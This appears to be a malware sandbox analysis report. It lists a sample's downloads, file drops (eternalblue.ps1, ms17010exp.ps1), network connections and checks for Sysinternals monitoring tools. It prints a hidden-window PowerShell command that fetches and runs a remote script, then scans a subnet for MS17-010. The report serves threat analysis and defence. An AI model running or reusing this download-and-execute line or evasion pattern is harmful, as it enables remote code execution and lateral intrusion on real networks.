Technical Information
Malicious functions
Downloads
- http://cs.##rongapt.ml/ladon.jpg
Searches for windows to
detect analytical utilities:
- ClassName: 'RegmonClass', WindowName: ''
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
Modifies file system
Creates the following files
- %WINDIR%\yhjkl
- C:\users\public\eternalblue.ps1
- C:\users\public\ms17010exp.ps1
Network activity
Connects to
- 'up##ad.ee':443
- 'cs.##rongapt.ml':80
- '<LOCALNET>.26.1':445
- '<LOCALNET>.26.71':445
TCP
- '<LOCALNET>.26.71':445
- '<LOCALNET>.26.71':49175
- '<LOCALNET>.26.71':49176
UDP
- DNS ASK up##ad.ee
- DNS ASK cs.##rongapt.ml
Miscellaneous
Searches for the following windows
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
- ClassName: 'File Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: 'Process Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c powershell "IEX (New-Object Net.WebClient).DownloadString('http://cs.##rongapt.ml/Ladon.jpg'); Ladon 10.0.26.1/24 MS17010"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c powershell "IEX (New-Object Net.WebClient).DownloadString('http://cs.##rongapt.ml/Ladon.jpg'); Ladon 10.0.26.1/24 MS17010"
